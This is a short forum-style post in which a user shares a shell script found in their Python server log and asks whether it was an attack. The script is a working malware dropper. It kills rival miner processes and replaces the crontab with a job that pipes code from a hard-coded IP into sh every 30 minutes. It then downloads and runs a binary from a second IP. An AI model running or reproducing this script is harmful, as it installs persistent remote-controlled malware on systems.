The code below showed up in my python3 server log, on my Ubuntu 20.04 Linux desktop system. Is it just my suspicious nature, or was this an attempt to hack my computer?
cc=http://31.42.177.123
sys=sysrv005
bit=$(getconf LONG_BIT)
ps aux | grep kthreaddi | grep tmp | awk '{print $2}' | xargs -I % kill -9 %
ps aux | egrep 'sysrv001|sysrv002|sysrv003|sysrv004|network01|network00' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep sysrv | grep -v 0 | awk '{print $2}' | xargs -I % kill -9 %
crontab -r
echo "*/30 * * * * (curl --user-agent curl_cron $cc||wget --user-agent wget_cron -q -O - $cc)|sh" | crontab -
#pkill -9 $sys
get() {
chattr -i $2; rm -rf $2
curl --user-agent curl_ldr$bit -fsSL $1 > $2 || wget --user-agent wget_ldr$bit -q -O - $1 > $2 || php -r "file_put_contents('$2', file_get_contents('$1'));"
chmod +x $2
}
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
ps -fe | grep $sys | grep -v grep; if [ $? -ne 0 ]; then
get 31.210.20.120/sysrvv $sys; ./$sys
fi